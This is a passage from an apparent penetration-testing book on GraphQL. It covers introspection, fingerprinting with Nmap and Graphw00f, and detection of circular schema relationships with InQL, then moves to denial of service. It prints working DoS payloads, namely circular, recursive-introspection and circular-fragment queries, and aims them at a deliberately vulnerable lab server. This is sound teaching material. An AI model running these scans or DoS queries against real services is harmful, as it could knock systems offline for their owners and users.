solution to disable it.

While opinions on this matter vary, especially in security circles,
introspection in GraphQL is widely considered a feature and not a
vulnerability. Companies that adopt GraphQL may choose to keep it enabled,
while others may disable it to avoid disclosing information that could be
leveraged in attacks. If no external consumers integrate with a GraphQL API,
it’s possible that developers could disable introspection altogether without
impacting normal application flows.

Depending on your target, the response to an introspection query could be
fairly large. Also, if you’re attacking a target with a mature security program,
these queries may be monitored for any attempts from untrusted clients, such
as those in new geographical locations or with new IP addresses.

To experiment with the introspection query by using our vulnerable server,
open the Altair client in your lab and ensure that the address bar is set to



http://localhost:5013/graphql. Next, enter the introspection query shown in
Listing 4-17 and execute it in Altair.

query {
  __schema {
    types {
      name
    }
  }
}

Listing 4-17: An introspection query in its simplest form

This query uses the meta-field __schema, which is the type name of the
GraphQL schema introspection system. It then requests the name of all types
available in the GraphQL server. The following output shows the server’s
response to the query:

{ 
  "data": { 
    "__schema": { 
      "types": [ 
--snip-- 
        { 
          "name": "PasteObject" 
        }, 
        { 
          "name": "CreatePaste" 
        }, 
        { 
          "name": "DeletePaste" 
        }, 
        { 
          "name": "UploadPaste" 
        }, 
        { 
          "name": "ImportPaste" 
        }, 
--snip-- 
      ] 
    } 
  } 
}



While we receive a valid response, this query in its current form gives us
only a partial view of the features available through the API. The response is
missing key information, such as query and mutation names, information
about which queries allow arguments to be passed by clients, the data types
of arguments (such as scalar types like String and Boolean), and so on.
These are important, because queries that accept arguments could be prone to
vulnerabilities, such as injections, server-side request forgeries, and so on.

We can craft a more specialized introspection query that would give us
more data about the target application’s schema. A useful introspection query
is one that will give us information on the entry points into the application,
such as queries, mutations, subscriptions, and the type of data that can be
injected into them. Consider the introspection query shown in Listing 4-18.

query IntrospectionQuery { 
   __schema { 
  ❶ queryType { name } 
    mutationType { name } 
    subscriptionType { name } 
  ❷ types { 
      kind 
      name 
    ❸ fields { 
       name 
        ❹ args { 
          name 
        } 
      } 
    } 
  } 
}

Listing 4-18: A more useful introspection query

The introspection query in Listing 4-18 gives us a bit more insight into the
API. At ❶ we get the name of all queries (queryType), mutations
(mutationType), and subscriptions (subscriptionType) available in the
GraphQL API. These names are typically self-explanatory, to make it easier
for clients to use the API, so knowing these query names gives us an idea of
the information we could receive.



At ❷ we get all the types in the schema, along with their kind (such as an
object) and name (such as PasteObject). At ❸ we get the fields along
with the name of each one, which will allow us to know the types of fields
we can fetch when we use different GraphQL objects. Next, we get the
arguments (args) of these fields along with their name ❹. Arguments could
be any information the API is expecting the client to supply when it queries
the API (typically, dynamic data). For example, when a client creates a new
paste, it will supply an arbitrary title argument and a content argument
containing the body of the paste, which might be a code snippet or other text.

In penetration tests, you may want to run an introspection query against an
entire network, assuming a GraphQL server may be present. In this case, you
would either need to write your own script or use the Nmap NSE script
graphql-introspection.nse we installed in Chapter 2. This script is simple: it
queries GraphQL by using the __schema meta-field to determine if it’s
fetchable.

Say you have a list of IP addresses in a text file such as hosts.txt. Using
Nmap’s -iL flag, you can tell Nmap to use it as its list of targets. Using the -
-script flag, you can then tell Nmap to run the graphql-introspection NSE
script against any host that has port 5013 open (-p flag). The -sV flag
performs a service and version scan. The command in Listing 4-19 shows
how this is accomplished.

# nmap --script=graphql-introspection -iL hosts.txt -sV -p 
5013 
 
PORT     STATE SERVICE VERSION 
5013/tcp open  http    Ajenti http control panel 
| graphql-introspection: 
|   VULNERABLE: 
|   GraphQL Server allows Introspection queries at endpoin
t: 
|   Endpoint: /graphql is vulnerable to introspection quer
ies! 
|     State: VULNERABLE 
|       Checks if GraphQL allows Introspection Queries. 
| 
|     References: 
|_      https://graphql.org/learn/introspection/



Listing 4-19: A GraphQL introspection detection with the Nmap NSE

Using nmap to detect when introspection is enabled is just the first step.
The next step is to extract all possible schema information by using a more
robust query.

In the book’s GitHub repository, you can find a comprehensive
introspection query that, when executed, will extract a lot of useful
information about the target’s schema: https://github.com/dolevf/Black-Hat-
GraphQL/blob/master/queries/introspection_query.txt. This query will
return information such as queries, mutations, and subscriptions names, with
the arguments they accept; names of objects and fields, along with their types;
names and descriptions of GraphQL directives; and object relationships. If
you run that query in Altair, the server should return a fairly large response,
as shown in Figure 4-6.

Figure 4-6: An introspection in Altair

https://github.com/dolevf/Black-Hat-GraphQL/blob/master/queries/introspection_query.txt


The response is large enough (containing approximately 2,000 lines) that it
would be challenging for any human to go through it manually and make sense
of it without investing a significant amount of time. This is where GraphQL
visualizers such as GraphQL Voyager come in handy.

Visualizing Introspection with GraphQL Voyager
GraphQL Voyager, which can be found at either https://ivangoncharov.githu
b.io/graphql-voyager or http://lab.blackhatgraphql.com:9000, is an open
source tool that processes either introspection query responses or GraphQL
SDL files and visualizes them, making it easy to identify the various queries,
mutations, and subscriptions and the relationships between them.

The tool’s introspection query option is most suitable for scenarios such as
black-box penetration tests, in which the application’s code base is not
accessible to us. The SDL option is useful when we might have direct access
to the GraphQL schema files, such as during a white-box penetration test in
which the company provides us with full access to the source code.

Try visualizing the introspection query response you just received in Altair
and importing it into GraphQL Voyager. Copy the response and then open
your browser and navigate to GraphQL Voyager. Click the Change Schema
button located at the top-left corner. Select the Introspection tab, paste in the
response, and click the Display button. You should see a visualization similar
to the one shown in Figure 4-7.

https://ivangoncharov.github.io/graphql-voyager
http://lab.blackhatgraphql.com:9000/


Figure 4-7: The schema view in Voyager

The visualization we receive from Voyager represents the queries,
mutations, and subscriptions available in our target application and how they
relate to the different objects and fields that exist in the schema.

Under Query, you can see that the application supports 12 queries. The
arrows in the view represent the mapping between these queries and the
schema objects. For example, when you use the pastes query, it will return
an array of [PasteObject] objects, which is also the reason you’re seeing
an arrow pointing to the PasteObject table. The system queries (update,
diagnostics, debug, and health) are not tied to any other schema objects; they
simply return a string whenever you use them.

You can also see that we have relationships (edges) between fields. For
example, the owner field in the PasteObject object is linked to
OwnerObject, and the paste field in OwnerObject is linked back to
PasteObject. This circular condition could lead to DoS conditions, as you
will learn in Chapter 5.



NOTE

You can toggle between the Query view, Mutation view, and
Subscription view by using the drop-down menu at the bottom of
Voyager.

Now that we’ve experimented with visualizing an introspection response
in Voyager, let’s do the same with SDL files. Voyager accepts SDL files and
can process them just as well as it does introspection responses. To see this
in action, click the Change Schema button located at the top-left corner in
Voyager, select the SDL tab, and paste in the SDL file located at https://gith
ub.com/dolevf/Black-Hat-GraphQL/blob/master/ch04/sdl.graphql. Then
click the Display button. You should see a similar visualization to the one
generated in the Introspection tab.

Generating Introspection Documentation with SpectaQL
SpectaQL (https://github.com/anvilco/spectaql) is an open source project
that allows you to generate static documentation based on an SDL file. The
document that gets generated will include information about how to construct
queries, mutations, and subscriptions; the different types; and their fields.
We’ve hosted an example SpectaQL-generated schema of DVGA at http://la
b.blackhatgraphql.com:9001 so you can see how SpectaQL looks when it’s
functional.

Exploring Disabled Introspection
At some point, you’ll probably encounter a GraphQL API that has
introspection disabled. To see what this looks like, let’s use one of the neat
features of our vulnerable GraphQL server: turning on its hardened mode.

The DVGA works in two modes, a Beginner mode and an Expert
(hardened) mode. Both versions are vulnerable; the only difference is that the
Expert mode has a few security mechanisms to protect the application from
any dangerous queries.

To change the application’s mode, open the Altair client and ensure that
the address points to http://localhost:5013/graphql. In the left sidebar, click

https://github.com/dolevf/Black-Hat-GraphQL/blob/master/ch04/sdl.graphql
https://github.com/anvilco/spectaql
http://lab.blackhatgraphql.com:9001/


the Set Headers icon, which looks like a small sun symbol. Set Header Key
to X-DVGA-MODE and set Header Value to Expert. This HTTP header
set instructs DVGA to perform security checks on any incoming queries that
include the headers as part of the request. Alternatively, you can toggle on
Expert mode from within DVGA’s web interface by using the drop-down
menu located at the top-right corner (the cubes icon).

Now attempt a simple introspection query using Altair:

query {
   __schema {
     __typename
   }
}

You should see an error response indicating that introspection is disabled,
causing the query to fail (Listing 4-20).

{ 
  "errors": [ 
    { 
      "message": "400 Bad Request: Introspection is Disabl
ed", 
      "locations": [ 
        { 
          "line": 2, 
          "column": 7 
        } 
      ], 
      "path": [ 
        "__schema" 
      ] 
    } 
  ], 
  "data": null 
}

Listing 4-20: An error returned when introspection is disabled

In cases like this one, you’ll need a plan B. In Chapter 6, you’ll learn how
to discover information about the GraphQL application even if introspection
data isn’t available.



Fingerprinting GraphQL
Earlier in this chapter, we highlighted the many GraphQL implementations
available. How can we tell which one is running on the server we’re trying
to hack? The answer is server fingerprinting, the operation of identifying
information about the target’s running services and their versions. For
example, a common and simple technique for fingerprinting web servers is to
make an HTTP HEAD request using a tool like cURL and observe the HTTP
response headers that are returned.

Once we know the specific technology and version running an application,
we can perform a more accurate vulnerability assessment against the service.
For example, we can look for publicly available exploits to run against the
target’s version or read the software’s documentation to identify weaknesses.

Popular web servers such as Apache or Nginx are great examples of
services that are easy to fingerprint, since both typically set the server
HTTP response header when a client makes a request to them. Listing 4-21
shows an example of how the web server behind the Apache Software
Foundation website identifies itself by using the server header:

# curl -I https://apache.org/ 
 
HTTP/2 200 
server: Apache 
vary: Accept-Encoding 
content-length: 73190

Listing 4-21: The Apache web server fingerprinting using a HEAD
request

As expected, the Apache Software Foundation’s website is, in fact,
running on the Apache web server. (It would have been a little odd if this
were not the case!)

Fingerprinting services in a penetration test won’t always be this easy;
sometimes accurate fingerprinting requires looking closely at the details, as
not all software self-identifies, including GraphQL servers. The techniques
used to fingerprint GraphQL implementations are relatively new in the
security industry. We (the authors of this book) have developed several



strategies for doing so, based on our research, and incorporated them into
Graphw00f.

GraphQL fingerprinting relies on the observation of various discrepancies
between implementations of GraphQL servers. Here are a few examples:
Inconsistencies in error messages
Inconsistencies in response outputs to malformed GraphQL queries
Inconsistencies in response outputs to properly structured queries
Inconsistencies in response outputs to queries deviating from the GraphQL
specification

Using all four of these factors, we can uniquely identify the implementation
behind a GraphQL-backed application.

Let’s examine how two GraphQL server implementations respond to a
malformed query. This query, shown in Listing 4-22, introduces an additional
y character in the word queryy, which is not compliant with the GraphQL
specification. We want to see how two GraphQL implementations respond to
it. The first implementation is Sangria, a Scala-based GraphQL server.

queryy { 
   __typename 
}

Listing 4-22: A malformed GraphQL query

Listing 4-23 shows Sangria’s response to the malformed query.

{ 
  "syntaxError": "Syntax error while parsing GraphQL quer
y. 
  Invalid input \"queryy\", expected ExecutableDefinition
 or 
  TypeSystemDefinition (line 1, column 1):\nqueryy {\n^", 
  "locations": [ 
    { 
      "line": 1, 
      "column": 1 
    } 
  ] 
}



Listing 4-23: Sangria’s response to the malformed query

The second implementation is HyperGraphQL, a Java-based GraphQL
server. Listing 4-24 shows how it responds to the malformed query.

{ 
  "extensions": {}, 
  "errors": [ 
    { 
      "message": "Validation error of type InvalidSyntax:
 Invalid query syntax.", 
      "locations": [ 
        { 
          "line": 0, 
          "column": 0, 
          "sourceName": null 
        } 
      ], 
      "description": "Invalid query syntax.", 
      "validationErrorType": "InvalidSyntax", 
      "queryPath": null, 
      "errorType": "ValidationError", 
      "extensions": null, 
      "path": null 
    } 
  ] 
}

Listing 4-24: HyperGraphQL’s response to the malformed query

As you can observe, the two responses are different in every possible
way, and we can distinguish between these implementations based solely on
their responses.

Next, we’ll attempt the same malformed query in our lab against the
DVGA to see the kind of response we get. Open the Altair client and send the
GraphQL query. You should see output similar to Figure 4-8.

As you can see, the output is different from both the Sangria and
HyperGraphQL responses. This is because DVGA is based on Graphene, a
Python GraphQL implementation.



Figure 4-8: Sending a malformed query with Altair

Running queries manually and analyzing the discrepancies between
implementations doesn’t really scale well, which is why we built a server
fingerprinting capability into Graphw00f. In the next section, we’ll use it for
server fingerprinting purposes.

Detecting Servers with Graphw00f
Graphw00f is currently the only tool available for GraphQL server
fingerprinting. It can detect many of the popular GraphQL server
implementations and provide meaningful information whenever it
successfully fingerprints a server.

In your lab, open the terminal emulator. If you enter the graphw00f
directory and run python3 main.py -l, you’ll see that Graphw00f is



capable of fingerprinting over 24 GraphQL implementations. This list
comprises the majority of GraphQL targets currently in use.

Let’s use it to fingerprint the DVGA. We’ll run Graphw00f with the -f flag
to enable fingerprint mode and the -t flag to specify the target (Listing 4-25).
You could combine the -f flag with the -d flag (covered earlier in this
chapter) if you wanted to detect GraphQL and fingerprint at the same time.
Here, we’ll use the -f flag on its own, as we already know the path to
GraphQL on the server.

# cd ~/graphw00f 
# python3 main.py -f -t http://localhost:5013/graphql 
 
  [*] Checking if GraphQL is available at http://localhos
t:5013/graphql... 
  [!] Found GraphQL. 
  [*] Attempting to fingerprint... 
  [*] Discovered GraphQL Engine: (Graphene) 
  [!] Attack Surface Matrix: https://github.com/nicholasal
eks 
  /graphql-threat-matrix/blob/master/implementations/graph
ene.md 
  [!] Technologies: Python 
  [!] Homepage: https://graphene-python.org 
  [*] Completed.

Listing 4-25: The fingerprinting of a GraphQL server

The tool first checks whether the target is, in fact, a GraphQL server. It
does so by sending a few queries and inspecting their responses against its
own database of signatures. As you can see, it is able to discover a GraphQL
server running on Graphene and provides us with an attack surface matrix
link. The attack surface matrix is essentially knowledge about the security
posture of the various GraphQL implementations that Graphw00f can
fingerprint. Graphw00f uses the GraphQL Threat Matrix we discussed in
Chapter 3 as its implementation security posture database.

Since we now know that DVGA runs Graphene, we need to analyze
Graphene’s weaknesses to determine which attacks we can run against this
specific implementation. Some implementations have been around longer
than others. Thus, they are more mature, stable, and offer more security



features than others. This is why knowing the backend implementation is an
advantage when we hack a GraphQL target.

Analyzing Results
Take a look at the attack surface threat matrix, which provides information
about the implementation’s default behavior and the security controls
available for it (for example, the settings that are enabled by default, the
security controls that exist, and other useful features we can leverage for
hacking purposes). Figure 4-9 shows the attack surface matrix for Graphene.
You can also find it on GitHub at https://github.com/nicholasaleks/graphql-
threat-matrix/blob/master/implementations/graphene.md.

Figure 4-9: Graphene’s attack surface matrix

The table under Security Considerations shows various GraphQL features
and whether they are available in Graphene. If they do exist, the table lists
whether they are enabled or disabled by default. Some of the items in the
table are security controls, while others are native GraphQL features:
Field Suggestions informs a client whenever they send a query with a
spelling mistake and suggests alternative options. This can be leveraged for

https://github.com/nicholasaleks/graphql-threat-matrix/blob/master/implementations/graphene.md


information disclosure.
Query Depth Limit is a security control to prevent DoS attacks that may
abuse conditions such as cyclical node relationships in schemas.
Query Cost Analysis is a security control to prevent DoS attacks that stem
from computationally complex queries.
Automatic Persisted Queries is a caching mechanism. It allows the client to
pass a hash representing a query as a way to save bandwidth and can be used
as a security control with an allow list of safe queries.
Introspection provides access to information about queries, mutations,
subscriptions, fields, objects, and so on through the __schema meta-field.
This can be abused to disclose information about the application’s schema.
Debug Mode is a mode in GraphQL that provides additional information in
the response for debugging purposes. This can potentially introduce
information disclosure issues.
Batch Requests is a feature that provides clients with the ability to send a
sequence of queries in a single HTTP request. Batch queries are a great
vector for DoS attacks.

In later chapters, you’ll learn how each of these features can make our
hacking lives easier (or harder).

Summary
In this chapter, you learned the art of performing reconnaissance against
GraphQL servers by using a variety of security tools. We discussed how to
detect and fingerprint GraphQL servers deployed in standard and
nonstandard locations, as well as how to find GraphQL IDE clients by using
the EyeWitness security tool. We also visualized an introspection query and
SDL files by using GraphQL Voyager to better understand queries, mutations,
and object relationships.



5
DENIAL OF SERVICE

DoS issues are one of the most prevalent
vulnerability classes in GraphQL today.
In this chapter, you’ll learn how
GraphQL’s declarative query language
can also become its Achilles’ heel. We’ll

identify opportunities to carry out DoS attacks that
could exhaust server resources if the application
developers don’t implement effective security
countermeasures.

While DoS vulnerabilities aren’t often classified as a critical vulnerability
in penetration testing reports or bounty programs, they’re common enough in
GraphQL applications that it’s important to become familiar with them, both
from an attacker standpoint and as a defender.

GraphQL DoS Vectors
One of GraphQL’s flagship features is its declarative query language, which
allows clients to request very complex data structures from the server. This
capability puts the client in a powerful position, because the client can
choose the response that a server should return. Given this power, GraphQL
servers must have the ability to protect themselves against malicious queries



coming from untrusted clients. If a client can construct a query that the server
would find expensive to fulfill, it could starve the server for resources. Such
attacks could impact the availability of the application by causing downtime
or degrading the server’s performance.

In the GraphQL world, several DoS vectors could lead to resource
exhaustion conditions: circular queries (also known as recursive queries),
field duplication, alias overloading, directive overloading, circular
fragments, and object limit overriding. In this chapter, you’ll learn about each
vulnerability, how to test for them during a penetration test, and how to use
DoS exploit code to abuse them. Toward the end of the chapter, we’ll discuss
the security controls that attempt to mitigate some of these threats.

The Common Weakness Enumeration (CWE) system categorizes these
types of DoS vectors as Uncontrolled Resource Consumption. The abuse of
these vectors might result in excessive consumption of central processing unit
(CPU) cycles, significant server memory usage, or the filling up of the disk
space, which could prevent other processes from writing to the filesystem.
The following are a few examples of how a client could craft queries to
trigger these conditions:
The client sends a single request containing one complex query.
The client sends a single request containing multiple complex queries.
The client sends multiple parallel requests, each containing a single complex
query.
The client sends multiple parallel requests, each containing multiple complex
queries.
The client requests a large number of objects from the server.

Certain DoS vectors are possible partially because of add-on features in
some GraphQL implementations, introduced either as part of the base
installation package or as additional libraries, while other vectors exist in
native GraphQL capabilities.

Circular Queries



Also known as recursive queries, circular queries occur when two nodes in
a GraphQL schema are bidirectionally referenced using an edge. This
circular reference could allow a client to build a complex query that forces
the server to return an exponentially large response each time the query
completes a “circle.”

In this section, we’ll dive into circular relationships and what they look
like in a GraphQL schema. We’ll use multiple tools, such as the schema
visualizer GraphQL Voyager, Altair, InQL, and GraphQL Cop to identify
risky design patterns and test our target application for these vulnerabilities.

Circular Relationships in GraphQL Schemas
GraphQL’s SDL allows us to define multiple types to represent an
application’s data model. These types can be interconnected in such a way
that allows a client to “jump” from one type to another if they are linked
together. This condition is called a circular relationship or a circular
reference.

For example, in earlier chapters, we mentioned that the DVGA target
application allows users to create code snippets (called pastes) and upload
them to the application. A single paste might contain a title and some content
(like code or other arbitrary text). In GraphQL’s SDL, this information can be
represented in the following way:

type Paste { 
  title: String 
  content: String 
}

This information is pretty limited as it stands. What if we want to extend
our application so that when a client uploads a paste to the application, we
can identify which client did so? For example, we could capture some
metadata about the uploader, such as their IP address or User-Agent string.

Currently, our data model isn’t structured in a way that allows us to
represent this type of information in the API, but extending it is a fairly easy
process. We could add additional fields to the Paste object in the following
way:



type Paste { 
  title: String 
  content: String 
  user_agent: String
  ip_address: String 
}

Another way to structure the SDL to accomplish this goal is to decouple
the client metadata from the Paste object. We might want to do this for
multiple reasons, such as for better separation of concerns and the ability to
extend GraphQL types independently of one another. We could create a
separate type, called Owner:

type Owner { 
  ip_address: String 
  user_agent: String 
  name: String 
}

We now have two object types, Paste and Owner. If we wanted to reveal
the owner of a given paste, we could link the two types together. We might
make a schema adjustment such as the following, to add a field named owner
to the Paste type that references the Owner type:

type Paste { 
  title: String 
  content: String 
  user_agent: String 
  ip_address: String 
  owner: Owner 
}

Now a client could request owner information about a paste, such as the
owner’s IP address or User-Agent. Listing 5-1 shows the complete example
schema.

type Paste { 
    title: String 
    content: String 
    user_agent: String 
    ip_address: String 
    owner: Owner 



} 
 
 type Owner { 
    ip_address: String 
    user_agent: String 
    pastes: [Paste] 
    name: String 
}

Listing 5-1: A circular reference in a schema

The two object types, Paste and Owner, have fields that cross-reference
the other. The Paste object type has an owner field that references the Owner
object, and the Owner type has a pastes field that references the Paste type.
This creates a circular condition.

A malicious client could cause a recursion by forcing the GraphQL
server’s function resolver to loop. This could potentially impact the server’s
performance. The following query example shows what such a circular query
looks like:

query { 
  pastes { 
    owner { 
      pastes { 
        owner { 
          pastes { 
            owner { 
              name 
            } 
          } 
        } 
      } 
    } 
  } 
}

This query is simple to execute yet causes an exponentially large response
from the GraphQL server. The more loops in the query, the larger the
response becomes.

Circular relationships are common in GraphQL APIs. While not an anti-
pattern when it comes to schema design, they should be avoided unless the



application is able to gracefully handle complex queries.

How to Identify Circular Relationships
Identifying circular queries typically requires insight into the GraphQL
schema. In white-box penetration tests, we may have access to the SDL files.
In black-box penetration tests, we may get lucky and find that the
application’s developer has left introspection enabled.

In either case, you should review the schema files for bidirectional
relationships between objects using static code analysis approaches or by
importing the result of the introspection query into a schema visualizer such
as GraphQL Voyager. Additionally, certain dedicated GraphQL security
tools, such as InQL, attempt to discover the existence of circular
relationships in a more dynamic fashion, by discovering the schema and
analyzing its types and their relationships.

NOTE

In Chapter 6, we’ll discuss ways of obtaining schema information
in a black-box penetration test when introspection has been
disabled, such as by attempting to reconstruct it using specialized
GraphQL security tools.

Using Schema Definition Language Files
Let’s perform a security review of an example SDL file to identify
anomalies. Consider the schema file in the book’s GitHub repository at http
s://github.com/dolevf/Black-Hat-GraphQL/blob/master/ch05/sdl.graphql.
This SDL file is a schema representation of DVGA that defines all queries,
mutations, and subscriptions, which also includes object types and fields.

Download the schema file onto your lab machine by copying it and saving
it to a file named sdl.graphql. Then open the file in a text editor to review it.
Before we highlight where the problems lie, try to spot any relational fields
that result in bidirectional object relationships.

https://github.com/dolevf/Black-Hat-GraphQL/blob/master/ch05/sdl.graphql


The following excerpts show the objects that have bidirectional
references:

type PasteObject { 
  --snip-- 
  id: ID! 
  ipAddr: String 
  ownerId: Int 
  burn: Boolean 
❶ owner: OwnerObject 
  --snip-- 
} 
 
type OwnerObject { 
  id: ID! 
  name: String 
❷ paste: [PasteObject] 
  --snip-- 
}

The schema defines the owner field in the PasteObject of custom type
OwnerObject ❶. Then it defines the paste field of type [PasteObject] ❷.
The square brackets in [PasteObject] indicate an array of objects of type
PasteObject. As you can see, these objects cross-reference each other, and
clients using these types could potentially abuse them for DoS purposes.

Using GraphQL Voyager
Small SDL files are easy to review. The larger an SDL file is, the more
challenging it becomes to identify anti-patterns and manually audit for
security issues. Let’s visualize a schema, a technique that could assist us
during audits of larger applications with more complex schema definitions.

Upload the SDL file you downloaded earlier to GraphQL Voyager (hosted
on http://lab.blackhatgraphql.com:9000 or, alternatively, https://ivangonch
arov.github.io/graphql-voyager) by clicking the Change Schema button and
copying the SDL file into the box under the SDL tab. Figure 5-1 shows how
Voyager illustrates the circular reference between the PasteObject and
OwnerObject objects.

http://lab.blackhatgraphql.com:9000/
https://ivangoncharov.github.io/graphql-voyager


Figure 5-1: Object relationships in GraphQL Voyager

GraphQL Voyager highlights custom object types, such as OwnerObject
and PasteObject, and uses arrows to indicate object relationships. When
you identify such a relationship, assume the application is vulnerable until
you’ve performed a test to check its ability to protect against circular
queries.

You can also paste the introspection response output in Voyager to generate
the same visual representation of the schema, as we did in earlier chapters.

Using InQL
Another way to identify circular queries is with the InQL security auditing
tool. We installed InQL in our lab in Chapter 2. One of InQL’s main features
is its ability to automatically detect circular relationships. InQL can read
JSON files generated by an introspection query via the command line.
Alternatively, it can directly send an introspection query to the target
GraphQL server if it supports Introspection.

Let’s run an introspection query using Altair. We’ll save the response to a
JSON file on our filesystem so InQL can read it, parse it, and traverse the
schema to find circular relationships.

In your lab machine, open Altair and set the URL in the address bar to
http://localhost:5013/graphql. Copy the introspection query located at http
s://github.com/dolevf/Black-Hat-GraphQL/blob/master/queries/introspecti

https://github.com/dolevf/Black-Hat-GraphQL/blob/master/queries/introspection_query.txt


on_query.txt and paste it into Altair (Figure 5-2). Then click Send Request
to send the query to DVGA.

Figure 5-2: An introspection query in Altair

Once a successful response is returned, download the response in JSON
format by clicking the Download button at the bottom-right corner of Altair.
Save the file as introspection_query.json under the home folder /home/kali.

Next, open the terminal. To execute the circular query check, we’ll pass
three flags to InQL: the -f flag, to use the JSON file we downloaded; the --
generate-cycles flag, to perform the circular query detection check; and
the -o flag, to write the output to a dedicated folder. The following command
combines these flags to perform the circular query detection:

# inql -f /home/kali/introspection_query.json --generate-c
ycles -o dvga_cycles 
[!] Parsing local schema file 
[+] Writing Introspection Schema JSON 

https://github.com/dolevf/Black-Hat-GraphQL/blob/master/queries/introspection_query.txt


[+] Writing query Templates 
Writing systemUpdate query 
Writing pastes query 
[+] Writing mutation Templates 
Writing createPaste mutation 
[+] Writing Query Cycles to introspection_query 
[+] DONE

After the check is complete, you’ll notice that a dvga_cycles folder was
created by InQL. Within this folder, look for a text file that starts with the
word cycles; this file will contain the result of the script’s execution. You can
run this command to see the outcome of the check:

# cat dvga_cycles/introspection_query/cycles* 
 
Cycles( 
        { OwnerObject -[paste]-> PasteObject -[owner]-> Ow
nerObject } 
        { OwnerObject -[pastes]-> PasteObject -[owner]-> O
wnerObject } 
)

InQL was able to find paths in the schema where a circular relationship
exists between the PasteObject and OwnerObject nodes. Under the hood,
InQL traversed the JSON file using two main graph algorithms:
The Tarjan algorithm, named after its inventor Robert Tarjan, is used to find
circular relationships in graphs in which nodes are connected by edges and
each edge has a direction associated with it.
The Johnson algorithm, named after its inventor Donald B. Johnson, is used
to find the shortest path between every pair of nodes in a graph.

InQL can also run the same check by connecting directly to the GraphQL
API and obtaining the introspection information. To do this, use the flag -t to
specify the target:

# inql -t http://localhost:5013/graphql --generate-cycles
 -o dvga_cycles 
[+] Writing Introspection Schema JSON 
[+] DONE 
Writing pastes query 
[+] Writing mutation Templates 



Writing importPaste mutation 
[+] DONE 
[+] Writing Query Cycles to localhost:5013

The -t option allows us to scale this check when we have a list of hosts to
test. Listing 5-2 shows how to add hosts to a file named hosts.txt.

# cd ~ 
# echo 'http://localhost:5013/graphql' > hosts.txt 
# cat hosts.txt 
http://localhost:5013/graphql

Listing 5-2: A file containing target GraphQL servers

Listing 5-3 shows how to write a Bash loop to test multiple hosts by
reading the hosts.txt file.

for host in $(cat hosts.txt); do 
    inql -t "$host" --generate-cycles 
done

Listing 5-3: A Bash for loop to iterate through the target hosts and run
InQL against each

The for loop will read the hosts.txt file line by line and assign each line
to the host variable. InQL will then use this variable as its target. This
technique lets us test dozens of URLs in an automated fashion.

If you attempt to run InQL against large applications, consider using the --
cycles-timeout flag to set a timeout on the circular check. This will ensure
that the application doesn’t hang while looking for circular queries, if the
target schema is of significant size.

Circular Query Vulnerabilities
Now that you know how to identify circular queries by using multiple tools,
let’s see how sending a circular query would impact the DVGA application.
We’ll craft a special GraphQL query that uses the circular relationship we’ve
discovered to perform a deeply recursive request.



A successful cyclical query will cause heavy load on the server and
possibly crash it. As a result, testing circular queries can be risky. To be on
the safe side, we’ll provide both a safe and an unsafe version of a circular
query. The safe version will have less circularity than the unsafe one, so you
can safely experiment with it in the lab without crashing the target.

Open Altair and copy in the safe-circular-query.graphql file from https://
github.com/dolevf/Black-Hat-GraphQL/blob/master/ch05/safe-circular-qu
ery.graphql. Listing 5-4 shows this query.

query { 
  pastes { 
    owner { 
      pastes { 
        owner { 
          name 
        } 
      } 
    } 
  } 
}

Listing 5-4: A recursive query in GraphQL

As the name indicates, safe-circular-query.graphql is the safer version of
a circular query. In this query, we ask for the owners’ names of all pastes on
the application, except we’re doing so in circles, which exponentially
increases the number of objects the GraphQL server has to load. Paste the
query into Altair and run it against the server to prove the concept of circular
queries.

NOTE

If you feel adventurous and are curious to see the impact that a
more complex circular query would have on our vulnerable target,
you can find the unsafe version of the query at https://github.com/d
olevf/Black-Hat-GraphQL/blob/master/ch05/unsafe-circular-query.
graphql. This query could crash the DVGA instance and possibly
the hypervisor, so use it with caution.

https://github.com/dolevf/Black-Hat-GraphQL/blob/master/ch05/safe-circular-query.graphql
https://github.com/dolevf/Black-Hat-GraphQL/blob/master/ch05/unsafe-circular-query.graphql


Circular Introspection Vulnerabilities
A circular relationship exists in GraphQL’s built-in introspection system.
Therefore, when introspection is enabled, you could potentially have access
to a circular query right out of the gate.

The introspection system has its own schema, defined in the official
GraphQL specification document. Here is an excerpt of it:

type __Schema { 
  --snip-- 
  types: ❶ [__Type!]! 
  queryType: __Type! 
  mutationType: __Type 
  subscriptionType: __Type 
  directives: [__Directive!]! 
  --snip-- 
} 
 
 
type ❷ __Type { 
  --snip-- 
  name: String 
  description: String 
  fields(includeDeprecated: Boolean = false): ❸ [__Field!] 
  --snip-- 
} 
 
type ❹ __Field { 
  --snip-- 
  name: String! 
  description: String 
  args: [__InputValue!]! 
  type: ❺ __Type! 
  isDeprecated: Boolean! 
  --snip-- 
}

At ❶, the types field is defined for the __Schema object type. You can see
that types is set to [__Type!], which means that it’s using the __Type
object defined at ❷. The square brackets and exclamation point mean that the
types field will return a non-nullable array of __Type objects.



The __Type object has a fields field, set at ❸, of type [__Field!]. This
will return a non-nullable array containing __Field objects. At ❹, the
__Field type is defined. This type has a field named type at ❺ referencing
the __Type object. As you can see, we have a circular relationship between
__Type.fields and __Field.type.

NOTE

The full introspection system schema can be found in the GraphQL
specification document at https://spec.graphql.org/October2021/#s
ec-Schema-Introspection.Schema-Introspection-Schema.

You can easily test this circular relationship by running the following
query with Altair:

query { 
  __schema { 
    types { 
      fields { 
        type { 
          fields { 
            type { 
              fields { 
                name 
              } 
            } 
          } 
        } 
      } 
    } 
  } 
}

Such circular queries can be fairly easily exploited. While a single query
may not be able to take down a server, a series of complex queries could
have the potential to impact it.

Circular Fragment Vulnerabilities

https://spec.graphql.org/October2021/#sec-Schema-Introspection.Schema-Introspection-Schema


GraphQL operations can share logic through the use of fragments, as
explained in Chapter 3. Fragments are defined by the client, and as such,
clients can build any logic they desire into them. That said, the GraphQL
specification documentation contains rules about how fragments should be
implemented, including this one:

The graph of fragment spreads must not form any cycles including spreading itself. Otherwise,
an operation could infinitely spread or infinitely execute on cycles in the underlying data.

Let’s explore how fragments can be constructed to form a cycle and lead to
a DoS. In DVGA, run the following query, which uses a fragment named
Start on the object PasteObject. The pastes field utilizes this fragment
using the ...Start syntax:

query { 
  pastes { 
    ...Start 
  } 
} 
 
fragment Start on PasteObject { 
  title 
  content 
}

When the query is executed, it returns the field and content fields of
pastes:

"pastes": [ 
  { 
    "title": "My Title", 
    "content": "My First Paste" 
  } 
]

Now, what if we add another fragment named End that uses the Start
fragment, and modify the Start fragment to use the End fragment? An
interesting condition will occur here:

query CircularFragment { 
  pastes { 
    ...Start 



  } 
} 
 
fragment Start on PasteObject { 
  title 
  content 
  ...End 
} 
 
fragment End on PasteObject { 
  ...Start 
}

This condition leads to an infinite execution, just as the GraphQL
